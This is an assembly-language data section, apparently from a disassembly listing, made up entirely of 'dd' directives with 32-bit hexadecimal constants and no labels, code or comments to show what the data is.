		dd 7C2780h, 29DBBB4Fh, 0EEFF8301h, 4BCA0FD6h, 0D3215006h
		dd 83FE149Ah, 87F820A1h, 400A98C1h, 12EB7949h, 1D09444h
		dd 0D7B04FEAh, 52422FBh, 57473DE3h, 7E00FCECh, 93865494h
		dd 0F3482271h, 295B0044h, 262FAB8Ah, 990B009Ah,	0F514A497h
		dd 3A00A138h, 0F3B0C4D9h, 18DE5CD2h, 295A9B87h,	894E9E18h
		dd 1EC0ECF0h, 40B997E2h, 3B34EAE1h, 7E76DBB8h, 3D2F001h
		dd 0A1BB3F4Eh, 0AF31E8h, 7A901053h, 13F0E72Eh, 113E5700h
		dd 18EEF15Fh, 0F85000FBh, 2233EBF3h, 6604F6B5h,	0AEA4B28Fh
		dd 2C425490h, 267000DDh, 0C34D7B96h, 0E13013C8h, 664C2878h
		dd 223926A9h, 0DFFC1F28h, 0C0591CD0h, 7329C065h, 76000926h
		dd 0BA84CB79h, 90431E9h, 0E2DFD755h, 4F870055h,	733D47A6h
		dd 2AE60190h, 54D4C36Fh, 0F9CFC450h, 98637500h,	4C247730h
		dd 7CB41D94h, 3443803Fh, 28A5E1E8h, 5B00C4F4h, 0AF3D2372h
		dd 0B3F675h, 385621A6h,	92A17D3Bh, 0BDE73C1Ch, 18E3E840h
		dd 1D521E66h, 0BFB657h,	7E683EF8h, 4248C5D6h, 7D7C0014h
		dd 6E778912h, 64DB0087h, 0D48A0FBDh, 0C7004019h, 2376DAADh
		dd 1A8D653h, 796670EBh,	30A127D3h, 32004484h, 0BF052868h
		dd 7E5C40h, 75EB4D90h, 476D08B8h, 19C37600h, 0A5987A9Bh
		dd 0DE4300ACh, 1F952644h, 391ECE1Ch, 60BE665Fh,	614ECC90h
		dd 0B0467B38h, 7E670220h, 189EF377h, 0BC1CA048h, 82D9E001h
		dd 0DABA5D63h, 12959DF0h, 1AF0B6h, 0DDCB464Ch, 0EF029F60h
		dd 6F3CD275h, 71EBC0D0h, 56390037h, 0B33DCAE4h,	69DD3DBh
		dd 50816D8Ch, 0D688EBh,	0E55D7778h, 0BD398702h,	5F8B54Ch
		dd 751F7AD7h, 6080DC00h, 1283A1h, 11D55287h, 0B0DE5DEFh
		dd 7E8A9700h, 0C59634BDh, 0E018C7E2h, 4CAA0193h, 59108010h
		dd 0F5690307h, 4BBE02EEh, 45A67E3Eh, 62D9FB60h,	0A700C3ECh
		dd 2D9C54D5h, 1D4BDh, 0C1898DB0h, 0EA612E41h, 4A00A6ECh
		dd 0D01E4F78h, 705AC5h,	7CC6798h, 28E813EDh, 90A1C800h
		dd 0E20E2AAEh, 3645092Dh, 0D092D0FDh, 7BBCF880h, 44005118h
		dd 0E4795012h, 0FF311Fh, 5C9E6059h, 644BD57Dh, 0CC91A700h
		dd 65D31294h, 997DDBh, 5DE7C8F9h, 1EB7CE46h, 0E6015B09h
		dd 70C0041h, 3CCF05h, 514AD51Ch, 0D466F8E8h, 83AABB00h
		dd 9EBA2E88h, 0FC520067h, 6EE22F25h, 0F100904Ch, 2ED36F41h
		dd 2660870h, 3AA7B29Fh,	0C8C13967h, 0C5EAFC15h,	12BFC200h
		dd 0E544CD19h, 13450022h, 0E4BEF18Ch, 0B600995Fh, 0B11C1D95h
		dd 39DDD2D4h, 0C13A0B54h, 0FB591200h, 22B80CFCh, 80AF673Bh
		dd 0C6A36936h, 0FB1E314h, 63C77243h, 69CAAC26h,	0D0913405h
		dd 0B890C5F6h, 26D14AEh, 0F5FA0209h, 8C6B04EBh,	1BE71EA8h
		dd 0F8CD8900h, 0A9539A7Ah, 0BFD50066h, 7D949CF5h, 0D40067ABh
		dd 9ED1ECBCh, 0C06BAE56h, 7C959F11h, 0DF0090ACh, 33A5EF91h
		dd 5C34F32Ah, 0FE18174Ch, 955481F7h, 0AA01BA76h, 977F949Dh
		dd 0B540ADE4h, 0B2475D73h, 0DFA9E404h, 963AE020h, 4E2BA5Fh
		dd 13B2D5A5h, 0CD9F7C91h, 0EC722C40h, 4C1F1DF3h, 183604D4h
		dd 20B3C05Eh, 0C3163259h, 750C39D7h, 18C2204Fh,	481F9DB7h
		dd 8F0068CCh, 47537197h, 2496E60Bh, 954D89h, 0A7C8304Ah
		dd 0FC3CEF58h, 9CBB14AFh, 83911C40h, 67031DDEh,	0A3C3C53Fh
		dd 0AC491E3Eh, 5B9A005Eh, 0E3123149h, 0D2E07C00h, 8B295893h
		dd 11F200F5h, 3F905B86h, 147667F6h, 0CA3B2603h,	0A86AACF9h
		dd 1E614708h, 582DFF68h, 2A257967h, 184A810Ah, 2900CC65h
		dd 464C6B2Ch, 37A5099Eh, 0EA005254h, 576E5362h,	6610703h
		dd 0A83648EEh, 72DC56h,	381AF42Dh, 0EDBD28A4h, 0D9AD9700h
		dd 31B0C3B6h, 87690050h, 0AA36C74Fh, 48001632h,	347BD8BFh
		dd 0F42341FDh, 222C00D5h, 0CF617F92h, 211E3FF4h, 660F340Fh
		dd 0AFC6403Bh, 3F0B9CA7h, 0BC8399F0h, 0BAB77E03h, 0C0B58CD8h
		dd 16A0C22Ch, 0FD40661Dh
		dd 5D5A5865h, 15F1007Fh, 3CF7469Eh, 0B3F7902h, 0E0A504D5h
		dd 80C03E68h, 48956E06h, 770471B8h, 935502F6h, 3EF82C1Ch
		dd 0CB186920h, 0A6B83140h, 0EB210C57h, 500228AFh, 6DC8F400h
		dd 0FDBAFB9Ah, 0E4A858B1h, 3F77A13h, 9872020Dh,	922A681Eh
		dd 0AB576C5Dh, 42E65404h, 0B9FEEB43h, 0D20B10E0h, 80CD943Dh
		dd 7001A892h, 322D7Bh, 0B5AF1890h, 0BCA3729Ch, 95BED402h
		dd 81284683h, 25E754EEh, 301B41D8h, 1C701EBFh, 0A01E504Ah
		dd 30FC7C34h, 93898BAh,	3243951h, 0DF07AC3Ch, 10F96750h
		dd 6507943Ah, 0A253EC18h, 98871CF9h, 0F5BD0033h, 0A61D83D3h
		dd 3A00BB8Ch, 4F39C684h, 88E397h, 0D848229Ch, 6146B3E5h
		dd 6C17C00Fh, 43AA6083h, 35A55C7h, 5CD7440Eh, 0F92E53E8h
		dd 0A760C054h, 23A7A8Dh, 6DCA8EADh, 0DA601D3Bh,	0B51E5150h
		dd 0C0004532h, 407D2B26h, 0D54F1E7Fh, 22444059h, 0CA4C7881h
		dd 80BCE53Bh, 1B61F1Bh,	390EBD0h, 0F0E32050h, 1DE59A44h
		dd 8555C08Ch, 0C0A876D8h, 0B739AE14h, 961600C8h, 981C789Eh
		dd 0AC06246Eh, 486C82CCh, 1CC00AB9h, 48901BE3h,	5FDFCF00h
		dd 0E6841EDAh, 0DB89033Fh, 1C52539Eh, 0BBDCA9C8h, 1807AE4Ah
		dd 82F28046h, 0C65BC10Eh, 0F19030h, 7ACB0370h, 1DFA62EAh
		dd 4ACAA702h, 80D6216Bh, 98C4DBB2h, 0F91E18F7h,	0B676A099h
		dd 0A4AD7E04h, 54D3541Dh, 5B3DF857h, 0F8CC007Ah, 0ACFA401Bh
		dd 98004410h, 3B0E9002h, 4B99424h, 9F4C19D5h, 0C97CC03Dh
		dd 100FD0BAh, 0C09AFC09h, 787734ECh, 0A0486085h, 0BF668D68h
		dd 2C0E093Bh, 2D2623F4h, 80539F0Eh, 0FF257505h,	0AF653CD1h
		dd 47553E81h, 60E8E59Bh, 460056F4h, 0E13B0B40h,	315B10h
		dd 4D927A95h, 0E7D8BAD4h, 72A98E0Fh, 0A6C7E0ADh, 7B187783h
		dd 6CB2001Fh, 3B802B34h, 2300C86Ah, 1311D887h, 0F0FF8FA4h
		dd 0E99000DCh, 464DB3E1h, 0ED002749h, 0F9A8C003h, 9A772h
		dd 472915CEh, 2B52339h,	0E8AC7703h, 0F4BF21h, 711E1F16h
		dd 0C88C573Dh, 25F0DF7Fh, 98C535Ch, 40E2E5B1h, 3DAAF2CCh
		dd 0BF04AEC7h, 801ED150h, 0E4A5E708h, 5379F501h, 393FCC0Fh
		dd 0BAE1E6F4h, 8B720094h, 7CFFF586h, 0FD00325Fh, 0D21704CEh
		dd 0F98296h, 38430C9Ch,	1299F27Eh, 0D932CA1Fh, 0CB6A8AC3h
		dd 0C05D948h, 919070h, 7C863FBFh, 64FFB849h, 20CAE10Ch
		dd 0F721D6h, 2B9C5911h,	91C42CF0h, 0AC7F49h, 0A222299Bh
		dd 1C14550h, 4F25D3A1h,	0F0FBB282h, 0EE25EBC8h,	0C7388416h
		dd 1C2038C1h, 96411180h, 37BBD085h, 4CA2261Eh, 832E5AC0h
		dd 1215C6F6h, 174EB07h,	55E6F0A4h, 201C294Ch, 488907CAh
		dd 0BFCD1FBDh, 969D02C0h, 643F39CFh, 0A09814A6h, 2BFB0094h
		dd 4A2D5AEBh, 89215008h, 84570090h, 0EEE5C8ABh,	3348A27Ch
		dd 0DDCB0228h, 41AF5CE0h, 94207610h, 9E1900C7h,	0E9D9A057h
		dd 0A0042F3h, 0E0482F20h, 0B85084CAh, 0DC3E2870h, 64F09Ah
		dd 0C59DB06Ah, 553428EAh, 0FCD35D1Eh, 7E171EC0h, 3EC4E1Ch
		dd 7475B32Bh, 0B498ED87h, 12005758h, 0B5139833h, 8B6DC5h
		dd 442F4943h, 0B705533Dh, 0C689301Fh, 0D0C0C8D3h, 15D040Dh
		dd 0AECC37AFh, 0EC51E3DCh, 94F0E190h, 0CAB49D09h, 0F61C4466h
		dd 0FDC6804Dh, 102F3Dh,	6E9215DAh, 9E84E2h, 87AFB5B4h
		dd 0C07744B1h, 0CD163A7Dh, 370078D2h, 769C35E9h, 0B1767Fh
		dd 7041A04Dh, 5175EBB5h, 9D935B3Ch, 434F8D9Ch, 0C0CCA00Bh
		dd 0B4EC84D6h, 75D70018h, 0B59082BBh, 0D2437C00h, 91B1BE74h
		dd 3F201E8Bh, 6CB90009h, 702138BFh, 80A1933Bh, 4008531Dh
		dd 3E1AF587h, 0D8818E58h, 0C978C6BAh, 823CEC88h, 0A8B9E672h
		dd 5B72E200h, 0DBBC48h,	7690217Eh, 31BA6D32h, 972F7400h
		dd 0B56C3373h, 63797DD6h, 30BF1193h, 44962CE8h,	0DD510AC0h
		dd 5056755h, 15C2394Bh,	0E5BCD79Ch, 0C4F8C831h,	0BBFCE707h
		dd 0B7419F4Ah, 18BCCDDAh, 9310FF31h, 0FD8711D8h, 190C3FE0h
		dd 20581DD6h, 0C3FDEF90h, 982897E4h, 325C2C53h,	2D960EA9h
		dd 0E12199F3h, 4AD4D0E0h, 0B02423B1h, 6A4229Ch,	330A084Eh
		dd 2812904Ch, 38884612h, 62AC809Ch, 0EF4CC5Ch, 60BD94A0h
		dd 0A2DB73F7h, 45F90034h, 0A31C5FF6h, 180F7B61h, 0C0BEF542h
		dd 59DDE3D8h, 9ADA008Fh, 37FE76A1h, 443D7302h, 0AE991ED9h
		dd 70D094EAh, 8369B004h, 0ECC30C4Fh, 9619F158h,	61FE6F1Ch
		dd 0A091F28Eh, 45F8CE84h, 162F075Bh, 96AB18F0h,	80003048h
		dd 68E10B3Ah, 0A8D71C83h, 924B88h, 12F9E8E2h, 7D3778EEh
		dd 0C5F15E00h, 71230820h, 0E46A355Ah, 8D158120h, 4E03F5AFh
		dd 70041120h, 571FCE87h, 0D0C99C53h, 3FB0B802h,	8667BB4Bh
		dd 5408D39Fh, 131808Ch,	1272B0A0h, 0D84EC068h, 2837F610h
		dd 7781D88Dh, 0F09F788Ah, 0AFA80897h, 1F9B7603h, 502FB6Ch
		dd 7E683C49h, 0AC9449EFh, 38B44410h, 0F1B06903h, 0FACABCE9h
		dd 0EDB0A2FAh, 4EB890C3h, 16680C05h, 0E560D354h, 0C2BDB007h
		dd 0C0105089h, 7C42496Dh, 96F8C2FEh, 8C81330Ch,	0D813C2D4h
		dd 5D48FFFCh, 40D130B8h, 18681032h, 10AE60DEh, 0F6310F4Ch
		dd 0ABBFC843h, 0EF004822h, 349F2D48h, 221E5749h, 0A1B06B0Bh
		dd 3409DE4h, 6159282Ah,	26F0FF7Eh, 0AE0073E6h, 7688069h
		dd 15A09C97h, 0B8F6DB6Ch, 9A1E200h, 58B2F04Eh, 24488422h
		dd 609C6BF5h, 0FBA1133Bh, 0E61FEC18h, 191DF2DAh, 0B0D5C416h
		dd 53DDF048h, 0B628F97Ch, 10638F43h, 0D009FC99h, 0CC3796DFh
		dd 0ED899E80h, 21DE21C2h, 6A98C0B6h, 1298D1h, 2FC574DAh
		dd 37CF5B39h, 63897060h, 7EBAB138h, 13FC1F4Ah, 7508B3C2h
		dd 20062100h, 0A861F1B1h, 0BF2D2846h, 5EA620A4h, 50C6970Dh
		dd 0F0F8B0CAh, 0E0AB48A5h, 0EEE5FB87h, 0F3444CA0h, 0DC66D447h
		dd 21FE08h, 7350CD32h, 77094BD0h, 5B44007h, 7AF3B29Bh
		dd 0A1600190h, 92CB4658h, 2B882466h, 0A6724BE8h, 449D109h
		dd 2A5881C2h, 0D82014D0h, 0F36426F6h, 6F5A030Ch, 48188CEEh
		dd 13D16E34h, 310A0039h, 20A36025h, 9F019C49h, 0F4E1254h
		dd 30807482h, 3270EEBAh, 0F1485D8Fh, 13423A8h, 4B3BB0BCh
		dd 0DD000E9Bh, 7F83B0A4h, 15000436h, 5AC1681Ah,	5643B160h
		dd 1D13E421h, 57A00AB6h, 43E4C4E4h, 0D5B635D2h,	74ACA9C0h
		dd 83700092h, 1A6C12FBh, 0C61496C3h, 88C0A310h,	5039C0A1h
		dd 0E4464C08h, 3607FD22h, 0A73F50E1h, 941B6440h, 0AB60F469h
		dd 4708B894h, 138201BAh, 0EBEFBFD7h, 4E85C8B0h,	14C3F100h
		dd 63B1805Eh, 1CC5142Dh, 47B44F6h, 2633DE08h, 0EA54C25Dh
		dd 84EC4809h, 0E98F1371h, 0C1A82748h, 874590F5h, 10A1C221h
		dd 8E042182h, 829F91BCh, 0A34B3EB0h, 0A936021Ch, 9499BB0h
		dd 0E0EFC460h, 68C7ED88h, 11947163h, 50E780A3h,	8C144C1Eh
		dd 30FF44h, 770650CFh, 72F6739Eh, 0F2DFD700h, 451A1F4Eh
		dd 46D092FEh, 8FB3D0Bh,	0CF079639h, 33DC0371h, 0B8EC35B6h
		dd 29B1D69h, 7446080h, 8C921627h, 60358004h, 233AB085h
		dd 0A411834Bh, 0B0AD3207h, 0ED95B08Eh, 75012504h, 9249F853h
		dd 0C441FF1Ah, 6180C8AAh, 51992E4Ah, 0C200EDC1h, 324B5AA0h
		dd 90904FAAh, 0D33C202Ch, 5E87760Ch, 111CE872h,	688706Ch
		dd 96DE92B2h, 0AC351858h, 0FF8889CBh, 40EED50Fh, 5C8E4Fh
		dd 76A6F44h, 0AC2B1F85h, 21F040ADh, 1D25A9E0h, 6C99B20Ah
		dd 8038DCE4h, 479E3A23h
		dd 4D8C297h, 37109172h,	0A10906Fh, 0FE00C617h, 2867EFEBh
		dd 0A3C5220h, 9F184A76h, 96E585F8h, 80BAC4EEh, 5A4B3404h
		dd 0A8E20233h, 0CCA381BCh, 25BA28BBh, 9277C301h, 0E4FA2B05h
		dd 6359784Ah, 389848E0h, 17DB1880h, 36AE2010h, 0B0B80533h
		dd 8A7DE31h, 0B8BCC682h, 0B3E9AF00h, 4B366539h,	9D9E1200h
		dd 0EE6AB183h, 0A8FD50A4h, 0EC103F22h, 5F43D1E2h, 4E2504C0h
		dd 1AFC63Ah, 4AF3A719h,	1830FCCFh, 8048C26h, 1F9636B6h
		dd 0D120E262h, 67BB620h, 0DB6058D5h, 0CE0CB8F9h, 71CFAA13h
		dd 1CD733Eh, 401614DDh,	0E509B3D2h, 0F233C04Ah,	0A0E830C0h
		dd 37B428CEh, 20A9CA36h, 0EB6AC0FFh, 2B4F5305h,	0D0C0D47Dh
		dd 0FA26F50Eh, 3A400334h, 0A5E0161Ch, 1978E848h, 4441D937h
		dd 0CA35FCh, 9498A21Bh,	1570ED82h, 493DDC02h, 89FA765Ah
		dd 0E25084D0h, 85B19067h, 448CC74Ah, 21000548h,	9B73E7B1h
		dd 30F2CDEh, 16967A50h,	88390324h, 0ABDB08F6h, 594300F1h
		dd 0E784FB08h, 9CEC6B2Ah, 0EEE50112h, 296E9E03h, 0E105A0E9h
		dd 0AA711238h, 844804C2h, 0AF20CC5Ch, 503B048Ch, 62344CFAh
		dd 0E39420E7h, 5324D050h, 0F180909Fh, 4547F6F9h, 4CEE50ECh
		dd 7627124Ch, 0A6B40581h, 3069D684h, 0B1102Eh, 3C2B2CDEh
		dd 1C018094h, 9525A71h,	431DD617h, 42DBC404h, 7640C448h
		dd 39E9F75Dh, 6683035Eh, 0CB866F4Eh, 4455981Fh,	27B6CE40h
		dd 3A87ED1h, 133AB39Eh,	1F9AC722h, 3B4430E7h, 247C160h
		dd 0C0848024h, 0C14F708h, 1CD19EF5h, 1B705807h,	68C391B5h
		dd 2197712h, 7F88AE8Bh,	94644F6Ch, 3A832CA0h, 16624908h
		dd 324A00CCh, 0F69646F4h, 508B1E32h, 62012047h,	28C05576h
		dd 4B6D425h, 0DD4C1256h, 23483A17h, 7EBB013Bh, 918BB7D8h
		dd 0C404F398h, 0A6EC8490h, 0F57FE0D0h, 2494B16Dh, 0FB930878h
		dd 8D145D00h, 0B09515D6h, 1F733024h, 0D147D419h, 0F8B4EB28h
		dd 9C1E772Ah, 2F801850h, 2516C488h, 9C0C74DEh, 3203EBF8h
		dd 46392D4h, 22BADBA8h,	0C0C84330h, 0B0A7C033h,	0D3434B3Ch
		dd 0B0AF3080h, 0D4164B35h, 613EECBh, 0D6A42840h, 6B967748h
		dd 98801067h, 73AEA07Fh, 886FF126h, 3330E603h, 32782344h
		dd 3DB0A601h, 8F18AB4Bh, 13AE3388h, 1202D1B0h, 4EC0204Ch
		dd 47423762h, 3308CB33h, 4FDC97E4h, 21613486h, 0EFD7800Fh
		dd 0A0ACC0B9h, 0AEE43Ch, 268C86EBh, 0E8DD3709h,	85F43A58h
		dd 0BAC2FDBDh, 8F34C0A7h, 285182FCh, 3289C400h,	8B50CBh
		dd 2C40D06Eh, 0FF651EE4h, 40947B30h, 181C537Fh,	0C98DADB3h
		dd 1E001BB8h, 0BC6A630Dh, 50E367C2h, 1B1AC2Dh, 0D8BDEB8Ah
		dd 87580A99h, 0F697F031h, 0A0F09D76h, 62959D4h,	0C7ECB0CEh
		dd 18B9F920h, 0AD18FC79h, 3893AE00h, 969BCBA7h,	0ABB012DEh
		dd 62B892F8h, 74A2B604h, 0B730EDE2h, 255AEEFCh,	0DC03920Fh
		dd 46E1B19Ch, 0FB68605Fh, 1312F640h, 4638D41h, 0E097B268h
		dd 0CB09C094h, 0A0ECFE90h, 0E62C5BFCh, 49260433h, 0E0E8DB5Fh
		dd 0CEE64C48h, 0DE6BA9C0h, 0C2FA5207h, 0FBB861C0h, 92F678E0h
		dd 29E25788h, 0E220A0E0h, 67325120h, 60FF4410h,	7FEA453Fh
		dd 48E202D9h, 624F9B14h, 61A4C4E1h, 0B05C4018h,	0C828F668h
		dd 2CB008F7h, 10CD2031h, 49FE774Ch, 0A430A1A4h,	3A19409Bh
		dd 0D0C65412h, 136F0846h, 65D40EC8h, 0A82C34D3h, 9E408420h
		dd 9110915Bh, 503A80A2h, 8C2C4C1Dh, 31E044h, 52FB50E2h
		dd 0BADD2973h, 84ACF424h, 9F20B08h, 609B9FF5h, 0C0CB81h
		dd 96C662C5h, 0CAAB0C14h, 0F3003351h, 9AC405CEh, 2F28BDCh
		dd 42800DD8h, 0CC63B81Ah, 0F5463810h, 691B5800h, 0C281FA03h
		dd 0C0B82600h, 0BA60A5DEh, 18EF1E0Dh, 47D0406Ch, 0FE84816Dh
		dd 70389200h, 3FBAFDF4h, 0C3B7005Eh, 521E2737h,	3D03F27Eh
		dd 1FEADDADh, 0D82AE026h, 5357033Fh, 9114E0A0h,	0A153000h
		dd 3ABD544Bh, 415B3B30h, 801018E8h, 7FCA6A47h, 0A48DEBAh
		dd 2DDB00D5h, 0BC2161E6h, 3CE52471h, 155B0350h,	4C03A73h
		dd 10C00DA9h, 0EFB1F72Dh, 0EB013E27h, 0C529D14h, 2E068B3Bh
		dd 68B64597h, 0C70B5E00h, 1EE59AB1h, 0DD744Fh, 131CEAD5h
		dd 0A90DB045h, 4037A000h, 0FCB6C8Eh, 36DA79B2h,	0EA18ABADh
		dd 8405DE01h, 0D3CF4218h, 2E75D087h, 0F9B2D129h, 7CA07CD0h
		dd 980CBF2Ah, 113E3Eh, 0A85FEEAFh, 66EC16h, 0D20CC5BAh
		dd 4994BD15h, 17E48800h, 0FA0BA091h, 1C8F7D84h,	47BC7079h
		dd 70AE8C1Dh, 676ECE94h, 0B6C308DFh, 98487331h,	334E97h
		dd 0BD364134h, 0BE27229Dh, 0BA316664h, 99E0BC4Eh, 8A875734h
		dd 233B0F00h, 1CB54D49h, 4F3000C4h, 86485E14h, 360269EBh
		dd 0FACFD29Eh, 8754A00Dh, 7A01370Ah, 93C3702h, 4F602F9Eh
		dd 0DA2C22D4h, 1D679A0Dh, 64F031CEh, 88FC03FFh,	9FC913C5h
		dd 579EC6E0h, 0FF0B8E2h, 0C7843Ch, 0F84A074Fh, 1CAED7h
		dd 0E85DB0BCh, 9031105Eh, 0DB4F5500h, 0BDD9BE32h, 53970C51h
		dd 1ED89A85h, 717FF030h, 0E88D44FBh, 7A680058h,	0EDFBEA7h
		dd 186069CCh, 305615A8h, 60E73ACAh, 0D17DA207h,	1F7BF071h
		dd 800A590h, 62871393h,	1D043F52h, 0C047725Ch, 25FC3586h
		dd 0A200FAAEh, 606CC4B9h, 0F4793CA9h, 6923334Dh, 210F1708h
		dd 41606F62h, 903F4272h, 8C3C60h, 50E67002h, 27F5A2C3h
		dd 18C3EC74h, 0D0358471h, 1B6BADD7h, 48A45E1Ah,	93E0ABF0h
		dd 0C9B9DA03h, 3061EA8Eh, 0AA21B308h, 0B601E0D4h, 0D7208957h
		dd 5083F0D8h, 51EA380Ch, 0A4916860h, 6C40F70Dh,	906820CFh
		dd 0E0D6048Ch, 62D1DAE8h, 0DF9F205Dh, 511B48E0h, 0E051A9BAh
		dd 0A543C85h, 0DACCD713h, 196F082Ch, 0EFE0E76Eh, 6028D9F5h
		dd 0E0A8039Eh, 23644036h, 3E68B4C0h, 0A9B880EFh, 0A1715663h
		dd 51E60E6Ch, 5DAF6581h, 0B8DEB00h, 0E0022F97h,	0C8315732h
		dd 0DAF840A2h, 1494006Bh, 3EC6B930h, 7A2E73B1h,	0FA06B931h
		dd 7808F508h, 0ABA30637h, 117FC909h, 14427429h,	0B34C4811h
		dd 17F4FF02h, 1B612A41h, 86AF2125h, 35CA7B49h, 15F0F128h
		dd 4C19CE11h, 0C38F2BA8h, 0AAD2A0B9h, 75C5846h,	0EF359A25h
		dd 5F2AB0FEh, 80071342h, 142DFA91h, 0B380906h, 87436F2Bh
		dd 2012ED82h, 0D17B8D61h, 4921800Fh, 748B5C90h,	0C2AE0019h
		dd 48F95DEFh, 79C0FB13h, 0B11B9D77h, 267C00D8h,	6F4B86Bh
		dd 140C4127h, 0A8086A37h, 1A3E4412h, 43CFDF17h,	772A3401h
		dd 898547Bh, 2E3A2198h,	8FAECF00h, 5BE46D0Bh, 0FE0D11ABh
		dd 85A0AC6h, 7440B08Dh,	7EB259F5h, 8A21CE11h, 46EE8701h
		dd 73E5C4F3h, 65EFA500h, 0CAA89CD1h, 266428C2h,	61B10A4h
		dd 0D0E5004Ah, 0DAC7D15Ah, 6162E665h, 58842273h, 904CEC5Bh
		dd 23AF5A18h, 72E2C79h,	9E8C0DE0h, 537E8016h, 0DE00409Ah
		dd 8BE38A2Ah, 6C514447h, 0A55148B2h, 15FC3052h,	60087481h
		dd 94937269h, 0AF6A114Ah, 0BB4C21h, 0B7C9DFE9h,	66919BDEh
		dd 217008B6h, 0E95B7C04h, 308817F3h, 5511038Bh,	50152B1h
		dd 5BB303E0h, 0ECF79628h, 46740C0Ch, 0A2791Eh, 1824F621h
		dd 14135557h, 983AAE14h, 0C2145090h, 4376028Ch,	7B27F16Eh
		dd 0B6121819h, 7A332440h, 26D06600h, 7B2ECB86h,	4B2040C8h
		dd 0FB08130Ch, 1C6BA977h, 0C6E8D96Ah, 7050DF43h, 723E2E46h
		dd 7F15A88h, 8A410FC4h,	0DCC15C6Bh, 72003BBFh, 5F6E24DAh
		dd 0C36DA36Ah, 3F74C9E1h
		dd 0F6B3CEF9h, 0BD7F5B40h, 0AB355401h, 0FF8D9299h, 0F8885ADDh
		dd 0C144C45Eh, 8B437360h, 118FF123h, 64950103h,	43BF675Ch
		dd 0F44265E1h, 0CBA6231Fh, 0E03552D9h, 1D60A225h, 0CF6E1719h
		dd 6515016Dh, 8A9E3D56h, 21BED357h, 0CFB6F100h,	0F83A7A8h
		dd 199C0073h, 91D1136Bh, 9F3DE4BBh, 9BF995Fh, 0B442D731h
		dd 0B62521FBh, 0B102F20Eh, 0CCC04347h, 4DCFD960h, 800B4310h
		dd 748024C8h, 7F57CFC0h, 895C006Dh, 5B595E9h, 7B183E06h
		dd 0A329F180h, 5481C032h, 139CC360h, 0B4C8B701h, 0FB186C4Fh
		dd 8473D420h, 0C80BD52h, 180CB1D7h, 217260E9h, 0D114097Eh
		dd 75791A04h, 0F4815852h, 46084AF5h, 150279DEh,	88D26A16h
		dd 4674B008h, 0D3ED0001h, 77C6A2EFh, 7EF7340Ch,	0CDC48051h
		dd 0A0A3BF3Dh, 0EF03B4E1h, 71A6D111h, 31341218h, 0E47A0DF8h
		dd 5156F415h, 45C24BCh,	80A4820h, 0D8A3CDABh, 4F99A740h
		dd 3D4303D7h, 369B816Ah, 0B5755D0h, 3E693F03h, 23F4C8E4h
		dd 970190D8h, 5D1576CFh, 0DC880218h, 0B698805Fh, 0B8B7A20Ch
		dd 483C91E6h, 85230444h, 4ECFDA01h, 0FE19D343h,	1C6FC2Bh
		dd 0FE532DBCh, 0B14EC862h, 82A1C04h, 80915F92h,	31803D12h
		dd 98041550h, 90002235h, 3B197BEh, 18DA9FAFh, 29C7125Ch
		dd 61F4718Eh, 0DEBA2E00h, 0A318D2F2h, 2A8B09Ch,	4A7A4D04h
		dd 0F09829C1h, 1535C7D7h, 0D0082097h, 5C94C3C0h, 1897F189h
		dd 6D8C8807h, 123E4316h, 0E6AB1020h, 9E150308h,	7066ECC8h
		dd 337DE0E0h, 73988A62h, 2C04697Ch, 43046018h, 1277F188h
		dd 4020E532h, 0F4A843D9h, 0E1752EB1h, 29E1D10h,	1E562B47h
		dd 404AC4AFh, 490C00F7h, 4E7BCD3h, 39E8BE58h, 852C6Ah
		dd 41809011h, 47C925E9h, 5245448Ch, 8BE9990Bh, 45BC2E75h
		dd 548C4D42h, 0BDEA3Dh,	0DC9BB6C1h, 0E750B1C2h,	7AD34401h
		dd 13A81C69h, 92002072h, 51E96372h, 10008B82h, 0D3FA36DAh
		dd 79AE807h, 0B12B73A9h, 4731AD61h, 0C6C07828h,	214342CFh
		dd 2D912AF3h, 0CF833B3Ah, 0E61E5FECh, 0FF9BB000h, 0E93EDC8Ah
		dd 0E7A4A81Ah, 0A63D1E30h, 0F9414593h, 0B296801Bh, 0F20F8495h
		dd 0F6E6A79Dh, 4423943Ah, 539CDF00h, 30393C58h,	78992812h
		dd 73003DE8h, 6022F92h,	0C049560Dh, 0F8F21A39h,	4D00484Eh
		dd 669FAAA0h, 72C7B8h, 0BDE15A55h, 8D3EE5F7h, 0DFD9861Ah
		dd 5F8C0418h, 58CF2460h, 80C34310h, 698036C8h, 7D1ACF2Ch
		dd 204A0718h, 7BF5EAECh, 1F8E4880h, 91002DEEh, 6C9BB9CFh
		dd 173D72E4h, 2F09A527h, 92F23ACh, 504606F8h, 0A88A612h
		dd 0C9FEB440h, 0CC72A2h, 7E1DDD64h, 86B1EDC7h, 0A534A5B0h
		dd 9030290Bh, 0F5C829h,	7AD5948h, 0B3175EBh, 49D48C09h
		dd 5B608491h, 73CF8460h, 57B51510h, 0CF4CF7B0h,	0E94D1024h
		dd 1088250Bh, 94119764h, 218A8F80h, 87AC3FC5h, 1950C624h
		dd 1CC8FC00h, 0A1E13B81h, 0C7DC07E3h, 60625A31h, 9AFCB6D4h
		dd 0D9101C90h, 58802056h, 4FC924E9h, 0EC1D458Ch, 401E990h
		dd 0C949C79Eh, 8C5F3ECh, 312A85ECh, 0E9290D14h,	0D2A8504Ch
		dd 8812D47Fh, 7609F638h, 9C909011h, 0DA71006Bh,	0C4019919h
		dd 0BF3C1384h, 39620515h, 0E480124Eh, 483E1064h, 0F146411h
		dd 48AC586Ah, 0CE0C008Ch, 655AA152h, 932C7183h,	67405C17h
		dd 181FB1Eh, 0D90F8087h, 91DF330Dh, 44806D68h, 2FC9D8E9h
		dd 63C3A891h, 1B88005Ch, 0AEB39A68h, 8500CD73h,	95B6BA93h
		dd 0FA5A524Eh, 5E389635h, 0C5020346h, 467C40F4h, 18E8A46Bh
		dd 0E930C030h, 0C29CC976h, 296E0F8Bh, 90923D73h, 6DB8F880h
		dd 0DB7AFB00h, 7395AA38h, 0C8530F5Ch, 0D09208BBh, 1945A3B8h
		dd 0E4F37B2Ch, 0B3A7D240h, 0D1790399h, 0AF5BB8C7h, 0F500F1DEh
		dd 78B18AFBh, 12D4C808h, 90A974D3h, 0BFB324E0h,	0B1DFFB03h
		dd 1895BD73h, 41265619h, 47161F7Bh, 9834E703h, 5CA79380h
		dd 0A20D3A3Eh, 879CA180h, 7B1E9EFBh, 2EF37C01h,	0B56C5C02h
		dd 623B3422h, 7864760Fh, 0CD23AC00h, 66003E27h,	0D7DE9488h
		dd 16CC6CB3h, 1D444F7Bh, 5E6A9FA8h, 95FF8BC5h, 2E12A003h
		dd 0D8458100h, 35D6183h, 35D70110h, 64676CDBh, 24806FC2h
